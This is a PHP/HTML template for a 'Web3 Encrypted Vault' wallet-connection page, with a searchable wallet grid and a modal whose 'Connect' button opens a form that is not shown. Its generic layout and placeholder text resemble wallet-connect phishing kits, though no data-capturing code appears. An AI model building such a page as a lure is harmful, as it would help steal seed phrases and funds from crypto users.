<?php include "header.php"; ?>
<title>Secure - Web3 Encrypted Vault - Wallet Connection</title>
        <!-- WALLETS SECTION -->
        <section class="wallets-section mt-20 xl:mt-24">
            <div class="container">
                <div id="content">
                    <h2 style="text-transform: capitalize;">secure</h2>
                    <p class="description">Refers to the safety and protection of assets, data, and transactions in the crypto space. Investors should prioritize platforms with robust security measures like encryption and multi-factor authentication.</p>
                </div>
                <div x-data="walletSelector()">
                    <!-- Simple Search Section -->
                    <div style="margin-bottom: 2rem; width: 100%;">
                        <div style="display: flex; flex-direction: column; gap: 1.5rem; width: 100%;">
                            <!-- Header -->
                            <div style="text-align: center;">
                                <span class="wallet-label" style="font-size: 1.5rem; font-weight: 600; color: #ffffff;">Choose wallet</span>
                            </div>
                            <!-- Search Bar -->
                            <div style="width: 100%; max-width: 600px; margin: 0 auto;">
                                <div style="position: relative;">
                                    <input type="text" x-model="searchQuery" placeholder="Search for wallets by name..." @input="filterWallets" style="width: 100%;
                                              padding: 16px 50px 16px 20px;
                                              border: 2px solid #374151;
                                              border-radius: 12px;
                                              font-size: 16px;
                                              background: rgba(55, 65, 81, 0.8);
                                              color: #ffffff;
                                              transition: all 0.3s ease;
                                              outline: none;" @focus="$el.style.borderColor = '#22c55e'; $el.style.boxShadow = '0 0 0 3px rgba(34, 197, 94, 0.1)'" @blur="$el.style.borderColor = '#374151'; $el.style.boxShadow = 'none'">
                                    <!-- Clear button -->
                                    <button x-show="searchQuery" @click="searchQuery = ''; filterWallets()" style="position: absolute;
                                               right: 15px;
                                               top: 50%;
                                               transform: translateY(-50%);
                                               background: #ef4444;
                                               border: none;
                                               color: white;
                                               cursor: pointer;
                                               padding: 6px;
                                               border-radius: 50%;
                                               width: 28px;
                                               height: 28px;
                                               display: flex;
                                               align-items: center;
                                               justify-content: center;
                                               transition: all 0.2s ease;" @mouseenter="$el.style.background = '#dc2626'" @mouseleave="$el.style.background = '#ef4444'">
                                        <svg width="14" height="14" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
                                        </svg>
                                    </button>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row">
                        <template x-for="wallet in filteredWallets" :key="wallet.filename">
                            <div class="col-12 col-md-6 col-lg-4">
                                <div class="hp-select-box-item">
                                    <div class="wallet-card" @click="showWalletInfo(wallet.display_name, wallet.filename, wallet.path)" style="cursor: pointer;">
                                        <div style="padding: 6px;">
                                            <div style="display: flex; align-items: center; text-align: left;">
                                                <div style="flex: 0 0 25%; padding: 12px;">
                                                    <img :src="wallet.path" :alt="wallet.display_name" height="64" class="img-icons" style="width: 3rem; height: 3rem; margin-bottom: 7px; border-radius: 50%;">
                                                </div>
                                                <div style="flex: 1; display: flex; justify-content: flex-start; align-items: center;">
                                                    <span class="wallet-name" style="font-size: 15px; font-weight: 700; letter-spacing: 1.5px;" x-text="wallet.display_name"></span>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </template>
                    </div>
                    <!-- No results message -->
                    <div x-show="searchQuery && filteredWallets.length === 0" class="text-center py-8">
                        <div style="color: #6c757d; font-size: 16px;">
                            <svg style="width: 48px; height: 48px; margin: 0 auto 16px; opacity: 0.5;" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path>
                            </svg>
                            <p>
                                No wallets found matching "<span x-text="searchQuery"></span>
                                "
                            </p>
                            <p style="font-size: 14px; margin-top: 8px;">Try searching with a different term</p>
                        </div>
                    </div>
                    <!-- Wallet Info Bottom Sheet Modal -->
                    <div x-show="showWalletInfoModal" x-transition:enter="transition ease-out duration-300" x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100" x-transition:leave="transition ease-in duration-200" x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" class="fixed inset-0 flex items-end justify-center z-50" style="display: none; background-color: rgba(0, 0, 0, 0.80); backdrop-filter: blur(8px);" @click="closeWalletInfoModal">
                        <div class="bg-white rounded-t-lg p-6 max-w-md w-full mx-4 mb-0" x-transition:enter="transition ease-out duration-300" x-transition:enter-start="opacity-0 transform translate-y-full" x-transition:enter-end="opacity-100 transform translate-y-0" x-transition:leave="transition ease-in duration-200" x-transition:leave-start="opacity-100 transform translate-y-0" x-transition:leave-end="opacity-0 transform translate-y-full" @click.stop>
                            <div class="flex justify-between items-center mb-4">
                                <div></div>
                                <button @click="closeWalletInfoModal" class="text-gray-400 hover:text-gray-600">
                                    <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
                                    </svg>
                                </button>
                            </div>
                            <div class="text-center mb-6">
                                <img :src="selectedWalletImage" :alt="selectedWalletName" class="w-16 h-16 mx-auto mb-4 rounded-full">
                                <h3 class="text-xl font-semibold text-gray-900 mb-2" x-text="selectedWalletName"></h3>
                                <p class="text-gray-600 text-sm">
                                    A Web3 wallet is a versatile and significant piece of
                                technology that
                                is set to revolutionize the way our online identity is presented and accessed. <span x-text="selectedWalletName"></span>
                                    wallet can go here.
                                </p>
                            </div>
                            <div class="flex justify-center">
                                <button @click="showConnectForm" class="px-8 py-3 bg-secondary-600 text-white rounded-full hover:bg-secondary-700 font-medium">Connect
                            </button>
                            </div>
                        </div>
                    </div>
                  <?php include "footer.php"; ?>
